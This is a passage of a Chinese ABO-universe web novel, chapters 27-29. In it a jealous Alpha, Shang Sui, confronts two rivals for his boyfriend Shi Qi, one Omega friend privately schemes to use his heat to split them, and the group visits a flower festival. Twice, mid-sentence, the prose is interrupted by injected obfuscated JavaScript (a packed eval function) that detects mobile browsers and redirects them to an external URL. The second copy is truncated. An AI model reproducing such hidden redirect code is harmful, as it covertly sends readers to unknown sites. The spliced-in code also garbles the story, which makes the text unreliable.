时绮换了身符合当地气候的衣服,准备出门觅食。郁知玲的消息发了过来: [我到了,在你们酒店门口。] 时绮抬头,看见不远处站着一个身形高挑的人,正冲他举起手。 郁知玲戴着黑色口罩,才结束拍摄,眼皮上还带着亮晶晶的妆。 和一般Omega不同,郁知玲的身高有一米八三,甚至超过了许多Alpha。 他的五官也偏凌厉,却又带着Omega特有的明艳,粉丝里三种性别十分平均,真正做到了ABO通杀。 “好久不见。”郁知玲率先和他打了个招呼,“怎么还是这么爱穿黑的。” 时绮穿着黑色的半高领毛衣,是偏修身的款式,下面搭着宽松的工装裤,整个人看起来薄薄的一片。 郁知玲上一次和时绮见面是小半年前,尽管在网上看过照片,但还是第一次见到时绮的新发色。 白金色和黑色,两种对比强烈的颜色在他身上丝毫不显突兀,反而与时绮略显冷淡的气质十分相称。 郁知玲忽然伸出双臂,将时绮抱起来,甚至掂了两下。 “……” 被放下来后,时绮忍了忍,没一见面就踹他:“你能不能改掉这个毛病。” 高中认识那会儿时绮比现在更矮一些。每一次见面郁知玲都会把他举起来掂一掂,判断他的身高体重。 “身高没变,”郁知玲笑嘻嘻地说,“但你怎么反而变轻——” 不等他说完,一只冰冷似铁钳的手握住时绮,郁知玲只来得及看清那双手上镂空蕾丝状的彩宝戒指。 时绮被人紧紧攥住手腕,往后一拽。 陌生的Alpha一手拉着行李箱,一手抓着时绮,面无表情朝这边看来。 郁知玲被他的样貌惊艳片秒,回过神后立即道:“你干什么!” 商随比他还要火大,冷声问:“你谁?” “你们Alpha都这么莫名其妙?”郁知玲眼里流露出轻微的厌恶,“我是他男朋友,听懂了吧?赶紧放开!” 过去他和时绮经常这样。因为样貌出众、又是稀少的Omega,两人在外面时常被要联系方式,偶尔还会面临骚扰。郁知玲都会用类似的借口解围。 却没想到,这人不仅不放手,反而笑了。 时绮反应过来:“等一下——” “是吗,”商随的语气没什么温度,“这不巧了,我也是他男朋友。” 商随看着郁知玲瞬间变化的表情,似笑非笑道:“要不你往后排排?等我们分手再补上。” 27.吃醋 像一时之间无法接受,郁知玲神色古怪,目光在商随和时绮之间打转。 须臾过后,他略显酸涩地问:“他真的是你男朋友?” 时绮应了一声:“嗯,是。” 有了时绮的首肯,商随更是来劲。 “不好意思,”那双撩人的眼睛染上盈盈碎光,孔雀开屏一般耀武扬威,“排了也白排,压根没有分手那天。” 周围陷入一片寂静。郁知玲被他的嚣张气焰慑住,说不出话来。 眼看商随似乎还想继续,时绮赶紧制止:“商随,他是我朋友。” 生怕他再度语出惊人,时绮用被攥住的手拍了一下Alpha的手背。这个动作有些困难,时绮使不上劲,更像轻轻挠了一下。 上一秒还充满攻击性的Alpha瞬间安静,如同被戳中软肋、迅速变得温顺的猛兽。 “哎呀,原来是这样,都是误会。” 商随以惊人的变脸,冲郁知玲笑了一下,如沐春风道:“刚才看你们抱一块儿,我还以为怎么了呢。” “抱歉,你不介意吧?” 伸手不打笑脸人,何况还是像他这样挑不出一丝差错的。 郁知玲压下心里其余的念头,也朝他笑笑:“我刚才说话不太好听,你也别介意。” “你是小绮的朋友,当然不会了。” “不过我没想过小绮会谈恋爱,刚才还以为你说着玩儿的。”郁知玲说完,不顾商随微妙变化的表情,状似埋怨对时绮道: “多久在一起的,谈恋爱怎么不告诉我一声?” “一个多月了。”时绮见他俩没再起争执,松了口气,“还没来得及告诉你。” 他知道郁知玲对所有Alpha都没好感,最开始讲话不好听不是针对商随。 出于工作性质,郁知玲没法公开表示,平时都把这份不喜压在心里。 “Alpha都是被欲望支配的野兽,狗一样追逐漂亮的Omega,脑子里只有那档子事。” 郁知玲很喜欢肢体接触,经常说着说着就会过来挽时绮的手臂,或者抱住他。 “要不还是我们在一起吧?小绮。” 大家都是Omega,时绮只当郁知玲在开玩笑。再加上他以前确实对Alpha没什么好印象,在郁知玲闹得最厉害的时候会顺势答应一两句。 “哎时绮——哥!” 秦书赫刚好走到大厅,一看见他们鬼哭狼嚎蹦了过来:“哥你知道我这两天怎么过的吗?我晕车药都要吃吐了,早知道我跟你一起飞过来!” 秦书赫以前见到美院的老师跟老鼠碰见猫似的,恨不得有多远窜多远,却格外喜欢商随。 “你们没吃饭吧?正好我也没,要不大家一起?” 时绮点点头,看向商随:“那你先放一下行李。你们老师需要登记吗?” “手机上打个招呼就行。” 正是在这时,秦书赫举起手:“林言,这边!” 他说完和时绮解释:“我们准备约着一起吃晚饭,刚想找你。结果就碰上了。” 林言跟傅思越走在一起,两人恰好乘同一班电梯下楼。 傅思越和时绮关系不好。但他们几个毕竟从小一起长大,林言和他还能说上几句话。 秦书赫不认识傅思越,热情洋溢问:“你旁边那个朋友要不要一起来?人多热闹。” 林言面露迟疑,下意识看向时绮。 “……算了吧。”傅思越主动道,“时绮不想看见我。” 时绮:“?” 时绮直截了当:“不会,你对我造成不了任何影响。” “……” 想到自己已经明确拒绝过傅思越,现在只是一起吃个饭,如果当众叫对方离开,实在让人下不来台。 时绮最后拍板:“大家一起吃饭吧。” - 趁商随上楼放行李,其他人留在大厅选晚餐。 他们出门的时间不太好,好几家受欢迎的餐厅都没有位置。 郁知玲想到什么:“我有个朋友在这边开粤菜馆,味道还不错。如果要过去,我让他留位置。” “我从刚才就想问了,你看着有点眼熟。”见他戴着口罩,只露出一双眼睛,秦书赫开玩笑道,“不会是哪个大明星吧?” “算不上,模特而已。” 郁知玲边说边取下口罩,露出一张惹人注目的脸。 “哎……!”秦书赫没想到自己还真认识他,“你是Elowen的代言人?我今天还看见了你的新地广。” 秦书赫十分热衷于收集香水,对郁知玲代言的牌子很熟悉:“听说Elowen要以你的信息素为原型推出一款新的限定香水?我收集了他们家全系列,新限定也会入的!” “目前是有这个打算,还没对外公布。”郁知玲笑道,“你消息真灵通,那我先谢谢你。” 秦书赫嘿嘿一笑。林言插话道:“好久不见了,上一次和你见面还是高中。” “确实隔了好久,当时好像是小绮的生日。”郁知玲说着,和以往一样挽住时绮的手臂,“那我打电话了?” 大家都没有异议。感觉到一直有人在注视自己,郁知玲循着目光抬头。 傅思越皱了皱眉,似乎想说什么,最终沉默地移开视线。 商随放完行李回来,看见的就是郁知玲挽着时绮说话的场景。 他总觉得时绮这个朋友有些令人不爽,转念一想,谁要是太黏着时绮,他看谁都不爽。何况这人一上来就自称是“男朋友”。 商随有一搭没一搭想着,最后在心里劝自己。 算了,别多想。 郁知玲可能只是不喜欢Alpha,又恰巧比较喜欢肢体接触。 “走吧。”时绮看见商随,自然而然上前一步,“林言他们先走了,我们三个一辆车。” 郁知玲只能放开手,看他跟商随说话。 上车以后,想到郁知玲特意来找时绮见面,让人家一个人待着不合适,商随主动去了副驾。 时绮和郁知玲坐在后排,后者时不时揉一把时绮的头发,贴着他说悄悄话。 时绮似乎很习惯,任由他黏着自己。 “你染这个颜色真好看。我看过好多同行染类似的,都没你合适。”郁知玲揉完他的头,手指下滑,不经意从他的腺体划过。 相较于一般的Omega,时绮要更为敏感。 他情不自禁打了个激灵,绷紧身体:“你的手……” 触碰AO的腺体几乎等同于性-骚扰。即使是Omega之间,平时也会注意避开这个地方。 郁知玲将五指在他面前摊开:“手怎么了呀?” 他手上涂着黑色指甲油,纤细修长。郁知玲神色无辜,似乎真的不知道发生了什么。 “没事。”时绮看他不像故意的,低头看了一眼导航道,“快到了。” 郁知玲找的粤菜馆是祁江著名的网红店,晚上八点,餐厅门口依旧大排长龙。 老板给他们留了包厢。坐下以后,郁知玲边看菜单边道:“他们家的椒盐皮皮虾和烤乳鸽特别好吃。小绮是不是不爱吃辣?” 时绮应了一声。 “我看看……甜品里面焦糖生乳酪做得不错,你应该会喜欢。” 上菜以后,郁知玲主动提议:“我帮你剥虾吧?” “不用。”时绮说,“我自己来。” “没事啊,以前都是我帮你。” “真的不用。” 郁知玲的性格太过热情,有时候时绮也招架不住。 偏偏对方又是自说自话的个性,在被拒绝之后,他还是剥了虾,放进时绮碗里。 时绮一愣,郁知玲笑着说:“吃吧,很好吃的。” 林言下意识看向商随,果不其然,后者没什么表情地放下筷子。 林言以前就隐约有类似的感受,郁知玲和时绮在一起常常表现得旁若无人,像是只看得见时绮一个。 今天比起记忆里,更是有过之无不及。 商随看着这副闹心的画面,从上车就开始积攒的火气愈演愈烈。 他还真不觉得,有哪个朋友会殷勤到这种地步。 其他人或许不了解,他却比谁都清楚。 郁知玲看时绮的眼神和他一模一样,透出的不是友善,而是欲望。 一想到另一个人正在他眼皮底下一寸寸打量时绮的眼睛、嘴唇、肌肤……内心压抑的暴戾如黑潮般涌动,他几乎想把对方的眼珠子抠下来。 但如果直接跟时绮说,你的Omega朋友对你有意思,没有具体的证据,唯一理由是我的直觉。你能不能离他远点,最好一键拉黑,这辈子别再联系——怎么想都十分荒谬,显得他像个神经病。 他确实不太正常,但也得讲点道理吧。 注意到商随放下筷子,似乎没什么没胃口,时绮不由得看了他好几眼。 犹豫片刻后,他小声问:“你是不是坐太久飞机,现在比较累?” 商随低眸和他对视。时绮抬头看他,眸光剔透,流露出不加掩饰的关心。 “嗯,好累。” 商随懒懒地说完,忽然泄了力,没骨头一样靠在他身上。 太受欢迎不是你的错,但我嫉妒心强烈,也很小气。 如果是只属于我一个人的宝宝,能像把洋娃娃藏进珠宝盒那样藏在谁也看不见的地方,只能被我注视就好了。 商随经常靠他的肩膀,当着这么多人的面却是第一次。 时绮僵硬片刻,维持着姿势没有动弹。感觉到Alpha偏长的发尾扫过脖颈,莫名有些心软。 商随累了啊…… 一想到这个,时绮有一点儿想伸出手,摸一摸他的头发。 却没想到,闷闷的声音从颈侧传来,心有灵犀一般撒娇: “我想要摸摸。” 时绮对此十分理解,在他疲惫的时候,也希望有人能抚摸他、拥抱他。 但他不太好意思,低声回答:“这么多人,等会儿吧。” 林言反应过来,立即起哄:“哎哟,你们小两口干嘛呢——” 秦书赫兴高采烈:“我们不介意!我可爱看了!你们快互动,我拍下给小桃姐看,她也爱看!” 郁知玲没有说话,勉强附和地笑笑,表情却掩饰不住的难看。 忽然的,他感觉自己的脊背不自觉地颤抖,就像生物本能一般,在察觉到危险前身体已经先一步做出反应。 在时绮身上撒娇的Alpha撩起眼皮,上挑的眼眸流光溢彩,冰冷又恶毒地朝他投来一撇。 他好似听见一道居高临下的命令在脑海中响起,极为威严、又极为冷酷—— 滚开。 郁知玲猛地往后一靠,连带着椅子在地上划出尖锐的声响,慌乱中打翻了手边的杯子。 饮品混杂冰块倾泻而下,从桌面流到地上。路过的服务员急忙过来收拾。林言看他浑身都在发抖、嘴唇也泛着白,整个人像突然受了莫大刺激:“你怎么了,还好吗?” “……没有、我没事。”郁知玲惊魂未定,下意识看向商随。 刚才是怎么回事?信息素压制吗? 但其他人都没受到影响,时绮离商随那么近,不可能察觉不到。 …… 难道他只是单纯被吓住了? “要小心哦。”商随不偏不倚和他对上视线,眼里竟是带着笑意,“碰到不该碰的东西,万一受伤就不好了。” 时绮没察觉到这两人之间的暗潮汹涌,拍了拍商随:“我去一趟厕所,等会儿回来。” “……” 上一秒还在威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073720|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胁人的Alpha迅速垮下脸。商随撇了撇嘴,不想让他走。 “意思是你想靠的话,回来再让你靠。” 这句话说完,商随乖乖从他身上抬起头。 怎么跟小孩儿似的。 难道人累了就会变得幼稚? 时绮面上不显,心里却对商随的黏人十分受用。 上完厕所后,时绮站在盥洗台边洗手。 有人踏进卫生间的门。一晚上都没开过几次口的傅思越站在他面前: “能不能一起去外面?我有话想跟你说。” 时绮不太想搭理他:“我们好像没什么好说的。” 傅思越被堵回去后不知道该怎么办,欲言又止看着他。 时绮习惯了跟他一见面就没好话。记忆中傅思越都是狗嘴里吐不出象牙的模样,这副可怜兮兮的神情实在令人看不习惯。 时绮安静片刻,抬脚往前走:“走吧,说快点。” 两人一前一后到了餐厅门外,这个点还有不少人在排队。他们避开人群,走到不远处的月桂树下。 傅思越率先开口:“我一直想跟你道歉,但又怕你觉得烦,找不到合适的机会。” “虽然你应该已经知道,但我还是想亲口说一次:是我一直和家里说喜欢你,小安叔叔才会催婚,让你跟我联系。” “这么多年都在逼你,对不起。” 曾经时安希望时绮和傅思越在一起,还有一个至关重要的原因。 时绮分化的那一年,医生说他差一点就不能完成分化,是因为近期接触过高匹配度的Alpha,受对方信息素诱导才能顺利成为Omega。 如果不能分化,他极有可能一直作为Beta长大。没人能看出端倪,自然也无法发现腺体退化症,更无从谈起医治。 但与正常的Beta不同,他实际是一个身患病症、信息素极低的Omega。 随着年龄增长,他的免疫系统将悄无声息出现问题,直到某一天彻底崩塌。无药可医,甚至至死都不知晓病因。 他身边高匹配度的Alpha只有傅思越一个,大家理所当然认为是得益于傅思越的信息素。根据医生的说法,某种程度上对方算是救了他的命。 时安和姜礼因此对傅思越格外感谢。时绮记得查出病症后不久,姜宥宁牵着他,一家人登门去傅家道谢。 也因为这份恩情,时绮对傅思越客气了很长一段时间。 后来有一次,傅思越在登山时差点发生意外,是时绮死死拽着他,即使十指鲜血淋漓也不放手,才救回傅思越一命。 在时绮的概念里,他和傅思越已经两清了。 傅思越却从那天后开始缠着他,以各式各样的方式吸引时绮的注意力。 “以前对你说难听的话、找你的麻烦,是希望你能多看看我。我还藏过别人给你的礼物、扔过你的情书,在背后威胁其他人不准喜欢你……对不起,我不该做这些事。” 傅思越说完,见时绮一直没有说话,不由得忐忑地问:“你是不是很讨厌我?” “说实话,”时绮听他说完这一大串,终于开口,“没什么感觉,我已经不在意了。” 不开心的事情当下可以尽情讨厌。时绮一直贯彻“心中有气当场就发”的原则,绝不憋着委屈自己,所以每一次傅思越犯贱,他从来不客气。 大脑空间留着储存开心的事情就够了,不开心的过去就让它真正成为过去,没必要耿耿于怀。 傅思越没想到他会这么说,张了张口,心情重重沉了下去。 讨厌至少还占据一席之地,不在意却意味着他对时绮而言无足轻重。 “那能做朋友吗?”傅思越低声问,“就和林言一样,正常的普通的朋友。” 做朋友?骗鬼呢。 不远处等待的商随听到这里,都快忍不住笑了。 时绮走后,傅思越没多久就起了身。 半天没等到时绮回来,商随找个借口离开。在卫生间没见到人,他走到餐厅外面,果然看见他俩站在角落里交谈。 商随心说做朋友的剧本我好像也拿过,不过后面那句可以删了。 你小子就算自以为放下也属于自己骗自己,心怀鬼胎还不敢承认,能不能活得坦荡点。 不过比起饭桌上那个装傻充愣的,你还算好。 没见过碰到腺体还好意思装白痴的,摊开手干嘛,展示新做的美甲?不会觉得自己那爪子很好看吧? 今晚上一个接一个给他添堵,商随情绪暴躁,却又不能当着时绮的面怼天怼地,只能在心里一通输出。 时绮诚实地说:“我现在没法把你当朋友。” “我明白了。”傅思越垂下头,又想起什么,“还有一件事——” 郁知玲他…… 商随彻底听不下去,上前一步打断:“你们在这里啊。” 他的声音让两个人同时回过头。傅思越不自觉露出警惕的神色。 时绮正想说话,商随自然而然道:“宝宝,林言刚才在找你,你要不要先回去?” 这还是时绮第一次觉得,他这么叫自己没有恶作剧的意味。 就好像……商随没有拿这个称呼打趣,而是真的非常珍惜他。 时绮有些脸热,不自觉地点点头。 商随怎么突然这么温柔,是来给他解围的吗。 他确实不想再听傅思越说话。时绮丢下一句“那我先走了”,就这么不甚清醒往回走,都没来得及思考留下他们两个独处会不会出事。 等时绮走后,商随的神情以肉眼可见的速度阴鸷下来,刚才的柔情蜜意荡然无存: “我真是奇怪了,一个个赶着今天来当小三啊?” 商随意味不明笑了一声,又立即沉下声音,阴恻恻道:“闹够了没,当我死了?” 28.腌臜 时绮回到包厢,大家已经放下筷子,正在闲聊。 秦书赫是个自来熟,正在和郁知玲打听信息素香水的事情。林言有一搭没一搭坐在旁边玩手机,偶尔插几句话。 “你找我有事吗?” 林言脑子转得很快,猜测应该是商随把时绮叫回来的,立即道:“想问问你加不加菜,不加我们准备买单。” 时绮摇摇头,表示自己吃饱了。 隔了没多久,商随和傅思越一前一后进门,后者耷拉着脑袋,如同霜打了的茄子。 想到刚才发生的一切,商随心里只有无语。 这小子大概没听过这样直白锋利的指责,愣了整整一分钟,而后满脸通红,一个劲解释自己没有插足的意思、只是想向时绮道歉。 他反问一句“你自己信吗?”,傅思越可疑地沉默。 像是无法面对自己的阴暗面,傅思越最后眼眶通红,又开始不停跟他道歉,甚至鞠了个躬。 商随原本憋了一肚子火,还没发泄,对方先一步滑跪得彻彻底底。 他无话可说,干脆没再搭理傅思越。 郁知玲住在其他地方,等车的时候,试探性地对时绮道:“我还要在这边留几天,空闲的时候来找你?” 他笑嘻嘻地挽住他的手臂:“最近有花朝节,我们可以一起去玩儿。” 见时绮没有避开,郁知玲松了口气。 时绮不是藏得住事的性格,对他的态度和之前没有差别,说明傅思越应该没提他的事。 提了也没关系,但他更想自己说。 “花朝节是什么?” “是祁江特有的节日。”林言来之前查过资料,“还挺有意思的,好像就在明天。” 祁江四季如春,花朝节每年冬季举行。其中古城区延续大部分传统至今,最有节日氛围。 每家每户会用鲜花装饰房屋,流经古城的水道也会飘满花朵。若有心仪的对象,当地人会亲手编织鲜花手环,赠予对方。 收到彼此的手环,则象征双方在花神见证下结为伴侣,这段恋情将美满长久。 近年来,花朝节作为祁江市的旅游热点迅速发展,赠送手环的趋势逐渐从“心仪”变为“好感”。有人赠送给异性传达恋心,也有人赠送给同性以示欣赏,亲朋好友间都能互赠手环。 许多年轻人在花朝节相识,是个充满浪漫与自由气息的节日。 后天学校的社会实践还没结束,在郁知玲期待的目光里,时绮答应下来。 - 回到酒店,时绮意外发现他和商随的房间恰好面对面。 只剩他们两个人,时绮犹豫片刻:“你还要我摸吗?” 商随正在开门,闻言转过身。 在他都快忘记的时候,时绮还记得他提过的要求。 这么善良,难怪被一群人惦记。 时绮被他沉甸甸的目光看得心头一悚,以为他不乐意:“你不想就算了——” 时绮的手搭在门把上,商随直接推了他一把,两人进到房间。 比起用言语回答,这样强势的动作令时绮一瞬间感觉自己放进来的是脱笼的野兽。不等他站稳,Alpha将脑袋靠过来。 “……” 时绮伸出手,试探性摸了一下他的头。 作为回应,商随贴着他的掌心蹭了蹭。时绮被这个小动作可爱到,什么强势不强势抛到九霄云外。 因为姜宥宁明确拒绝被时安摸头,在时绮的印象里,Alpha的脑袋不能随便摸。 和时绮自己漂过的头发相比,商随的发丝要软一些,时绮手指向下,摸到了一直很感兴趣的狼尾。 有人撸猫撸狗,会有人撸狼吗。 应该很少?毕竟这种行为多少有些作死。 似乎被他抚摸得很愉悦,Alpha长长的耳坠微微摇晃,折射出耀眼的光彩。 “你那个朋友很喜欢黏着你。”商随忽然开口。 “他以前就这样。”时绮稍作停顿,补充解释,“郁知玲是Omega。” “我知道。” 一开始险些因为对方的外表误认为Alpha,不过他对信息素非常敏感,很快判断出郁知玲真实的性别。 商随意有所指:“小绮真受欢迎。” 不仅讨Alpha喜欢,还讨Omega喜欢。 时绮没有立即接话。在商随以为他害羞的时候,耳畔传来一道淡淡的声音:“不是当然的吗。” 如果时绮有尾巴,现在应该是甩来甩去、又十分傲娇地翘起的姿态。 商随被他逗笑:“嗯,当然的。” 时绮回应道:“你也差不多。” 他今晚抽空问了秦书赫,为什么这么喜欢商随。 “不止是我,我们专业都很喜欢他、其他专业也一样。而且我感觉以老谢为首那群教授也特别喜欢他。” “怎么说,感觉哥跟一般人不同?不像日常生活中经常能遇见的类型,但他没有表现得很特殊,可以和我们随意相处。这种反差很有意思。” 关于这点,时绮非常赞同。 尽管没有明确的证据,他却感觉商随有很多秘密。就像面前摆着抽出一截彩线的毛团,他心痒难耐,下意识想要追逐。 时间不早,时绮最后揉了揉商随的脑袋,意犹未尽收回手。 - 郁知玲回到酒店房间,踢掉鞋子,划开一直静音的手机。 有个经常联系的号码给他发来无数条消息,从一开始的暧昧挑逗到后面的不耐烦,最后察觉到不对,言语间逐渐流露出卑微的恳求。 [亲爱的,你多久过来?我先去洗澡做准备,我们今晚用玫瑰味的吧~] …… [郁知玲你死哪儿去了?明明说好见面,你是不是想临时放我鸽子?赶紧回电话!] …… [回个消息吧,怕你出事。] [算我求你的,要结束也说一声!能不能别一声不吭?] 郁知玲这才想起,自己今天好像约了人打炮。 看见时绮也在祁江,他太过高兴,一不小心忘记这茬。 郁知玲懒洋洋地按下手机,遵照对方的要求宣布结束:[以后别联系了。] 在手机疯狂震动之前,他利索地拉黑一切联系方式。 炮友而已,要多少有多少。 但心肝宝贝却只有一个。 想到对方交了男朋友,郁知玲咬紧后槽牙,心底溢出的嫉妒几乎要把五脏六腑烧穿。 他想过跟时绮告白。但他看得出来,时绮对他没有那个意思,如果说出口,最终可能连朋友都没法做。 时绮对感情一窍不通、年纪也小,最好再等一等,却没料到忽然冒出了一个Alpha。 郁知玲无意识啃咬手指甲,喃喃道:“真该死……” Alpha果然是世界上最恶心的生物。 初入行时,他还是个籍籍无名的小模特,外貌出众、没什么背景,Omega的身份又格外容易被人觊觎,有一次拍摄杂志,他险些被一个Alpha强-奸。 Alpha是那家杂志的投资人,没谁敢管闲事。 直到有人一脚踹开门,将大腹便便的投资人从他身上拽了起来。 猫一样的少年拍了拍投资人的肩膀,在对方骂骂咧咧转过头时,举着一瓶水往他头上浇。 投资人的怒骂响彻整个房间,有工作人员经过门口,看清楚时绮的样貌惊慌失措道: “他是姜老师的弟弟——” “快阻止他们!” 一片混乱中,时绮从地上捡起郁知玲被扯下的外套,盖在他身上:“你没事吧?” 郁知玲呆呆看着他,几乎以为自己见到了天使。 这是他第二次和时绮见面。 几小时前,他在杂志社外遇见迷路的时绮,他给对方指路,告诉他正确的楼层。看时绮似乎有些口渴,又给他买了一瓶水。 就像帮助迷路的漂亮小猫一样,郁知玲纯粹看他可爱,没有任何多余的心思,没想到几小时后,对方会以从天而降的方式回报他。 投资人气得骂骂咧咧,郁知玲以为自己会丢掉工作,这个闯进来的小孩儿也要跟着一起倒霉。 这么危机的时刻,他却忍不住想,如果养猫的话……会很贵吗? 但投资人后面生生咽下这口气,翻书似地来找他道歉,表现得殷切而懊悔,就差痛哭流涕在他面前下跪。 他这才知道时绮家境出众,他连轴转打两周的工,还不如时绮一天的零花钱。 从那天起,他和时绮成为了朋友。 “你跟这么多人纠缠不清,而且都是Omega。你是同性恋,时绮知道吗?” 郁知玲比时绮他们大三四岁,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但我还不如你,你是Alpha、我是Omega——我怎么可能做什么?” 这句话似乎打动了傅思越,思考许久,丢下一句你最好这样,最后转头离开。 但事实上,那句话半真半假。 他发现自己有了强烈的心理阴影,对Alpha生理性地厌恶,喜欢上了比他娇小的Omega。 圈里样貌出众的Omega一抓一大把,有相同爱好的不在少数。相互玩一玩,不用像和Alpha在一起那样担心被标记,某些时候反而更刺激。 他停下回忆,从聊天列表找到想找的联系人,给“亲爱的”发了消息: [小绮,明天花朝节,我给你编手环吧?] 他存了私心,打算将鸢尾编进手环里。 这是他的信息素。 让他作为朋友看着时绮和其他人恋爱结婚,他可做不到。 安分了这么多年都没有进展,不如赌一把试试。 就算最终撕破脸,也比什么都不做强。 不过时绮交的男朋友给人感觉十分邪门,不像好对付的角色。 他的预感一向很准,能在圈子里混得风生水起、游走在复杂的人际纠葛之间,很大程度上依赖于看人的眼光。 原本他想用更迂回的办法,而不是直接跟时绮坦白。 Alpha难以抵抗Omega的信息素,只要释放一点儿就会抑制不住扑上来。 找机会制造出这样的场面、再颠倒黑白,就算不能让他们分手,也能让时绮和商随心生隔阂。 但心里却有一个声音,警告他不要这样做。 想起商随今晚投来的目光,郁知玲心有余悸,毛骨悚然的感受又一次裹挟全身。 没法赶走另一个人,那就共享吧。 他的发情期就在这两天。郁知玲把包里的抑制剂拿出来,将常吃的药扔了进去。 商随确实样貌出众,但他也不赖。 而且他技术很好,许多人和他发生关系后恋恋不忘,如果是时绮的话,他会用全部的技巧服务对方。 再说了,商随是Alpha,他是Omega。 时绮就算同时跟两个人在一起,也并不冲突。 29.节日 翌日上午,学校的社会实践活动组织参观祁江最大的生物化工厂。 时绮走在最后面,没一会儿就昏昏欲睡。林言怕他撞墙,一只手牵着他,另一只手偶尔做一做记录,准备回去写报告用。 这间工厂隶属寰云集团,市面上常见的阻隔剂、抑制剂都来自寰云。旗下的子公司则以时尚行业为核心,拥有多个知名的信息素香水品牌。 经过信息素香水区域,想到秦书赫跟郁知玲聊了一晚代言,林言忽然道:“说起来,我觉得郁知玲还挺神奇的。” “?”时绮勉强睁开眼睛。 “比如你一看就是Omega,商随虽然长得比较……”在时绮抬眼看过来时,林言把那句到嘴边的“渣男”咽了下去,“总之他一看就是Alpha。” “但我有时候真的看不出郁知玲的性别,可能这就是模特吧。”林言好奇道,“你说他到底喜不喜欢Alpha,难道他喜欢Beta或者Omega吗?” “不知道,不过应该不喜欢Alpha。” 当初郁知玲的事情除了找姜宥宁帮忙善后,时绮没跟其他人提过,林言不知道郁知玲对Alpha十分厌恶。 他打了个哈欠,想起郁知玲说要给他编手环,自己还没回消息。 按理来说,收到别人的礼物要给回礼。 但他懒得编手环送回去。时绮思考三秒,决定假装没看见。 参观结束后,带队老师宣布原地解散,今天剩余的时间留给大家自由活动。 大多数人兴冲冲前往古城体验花朝节的氛围。时绮本来想回去补觉,被林言一把拽住:“你过两天回宿舍睡不是更好?首都天寒地冻的鬼天气正好适合冬眠。看看这明媚的太阳,是你睡觉的时候吗?” 时绮被他说服,也跟着上车。 伴随一年一度的庆典,整座古城仿佛盛开。 娇艳欲滴的洋牡丹编织成一道道拱门,水道两旁垂落的黄钟花犹如瀑布,喷泉池里晶莹剔透的山荷叶碎瓣浮浮沉沉。 一切都欢欣鼓舞、徐徐上升,空气中好似填满五彩斑斓的气泡。 周围人来人往,时绮稍不注意就和林言走散。正准备发消息找人,戴着橙色万寿菊帽子的摊主冲他微笑:“客人,编手环吗?” 看清楚帽子下那张熟悉的脸,时绮不禁沉默:“你是改行了吗?” 秦书赫煞有其事:“说什么呢客人,我天生就是干这行的。” “……” 他旁边坐了个小姑娘,小声解释:“这个哥哥看我一个人忙不过来,主动来帮忙的。” “原来是这样。”时绮朝她笑笑,感慨秦书赫真是跟谁都能搭上话,“你家大人呢?” 小姑娘指着不远处另一个摊位:“在那边。” “喂时绮,你对小女孩的态度和对我的态度实在令人——” 秦书赫头上那顶夸张的彩色帽子上下摇晃,时绮突然道:“你好像金刚鹦鹉。” 秦书赫:“嗯哼?是在夸我可爱吗?” 时绮:“夸你聒噪。” 秦书赫:“……” 秦书赫能伸能屈,转而介绍起业务:“那你要不要编手环?看我后面的五排架子,这上面的花随便挑!” 尽管不想做手工,在一大一小两双期待的眼睛里,时绮最终坐了下来。 他动手能力堪忧,偏偏又不想用半成品的藤条手环装饰上鲜花应付了事,只能十分困难地从零做起,笨手笨脚的模样看得秦书赫乐不可支。 “老板,手环多少钱?” 时绮正努力和手上的藤条作斗争,暂时来不及抬头,熟练地回答道:“前三排的鲜花做手环都是十块;后两排半成品三十,自己编二十五。” “你手上这个呢?” “不卖。” 时绮心说我亲手编的,再怎么也算无价之宝。 他总感觉这声音十分熟悉,一抬头,果然看见一张比繁花都艳丽逼人的脸。 商随穿着镂空的针织罩衫,里面搭了打底,长长的古铜色项链垂落下来,脖颈叠戴了相同元素的Choker。 他背着黑色斜挎包,里面装了速写用的画具和本子。包身上五颜六色的涂鸦似乎是他自己画的,至少时绮没见过这个牌子出这种款式。 时绮这才知道首都的冬天多少限制了他的发挥。看着对方这副花枝招展的模样,怀疑他下一秒能原地化蝶,飞进后面的花丛里。 林言站在商随旁边,正在闷笑。 “真的不能考虑一下吗?我很有钱的。”商随盯着他手里压根没个形状的手环,犹如看稀世珍宝,“好想要这个。” “炫耀什么呢你,”时绮只当他在找茬,“再有钱你也给我坐下来亲手编。” 商随哦了一声,在他身边找了个位置把包放下。 注意到秦书赫身边也放着画包,时绮问:“你们怎么都带了画具?”不会这么惨吧? “恭喜你猜对了,”秦书赫露出苦命的表情,“晚上我们要集合去写生。” 商随在五排花架里精挑细选,不知有意无意,最终选了和时绮一样的花朵作为装饰。 时绮看了好几眼,忍不住问:“你干嘛选这种花。” “因为漂亮。” “漂亮就可以选吗?”时绮十分霸道,“这是我的信息素,问过我了没。” 商随笑笑,好脾气地说:“要不我给你写个奏折吧?麻烦你抽空批阅一下。” “……” 对比起笨手笨脚的时绮,商随编得又快又好。他俩坐在这就像两块光鲜靓丽的活招牌。 小小的摊位人流络绎不绝,大多数人选择买成品手环。秦书赫编得手都快起火,忍不住回头:“我建议你俩戴个口罩——” “你好,可以收下这个吗?” 有个Omega拿着手环在商随面前停下,看样子也是大学生。 时绮按压藤条的手指一顿,在心里宽慰自己。 花朝节,收到手环再正常不过。 等商随收下后,Omega示意他手上饱满漂亮的手环,时绮依稀听见对方在问能不能互换。 商随笑着拒绝,不等时绮松口气,又有人过来搭讪。 秦书赫见情况不太妙,咳了一声岔开话题:“手环好像只能送一个吧,你们的要给谁?” “我的要给我宝宝。” 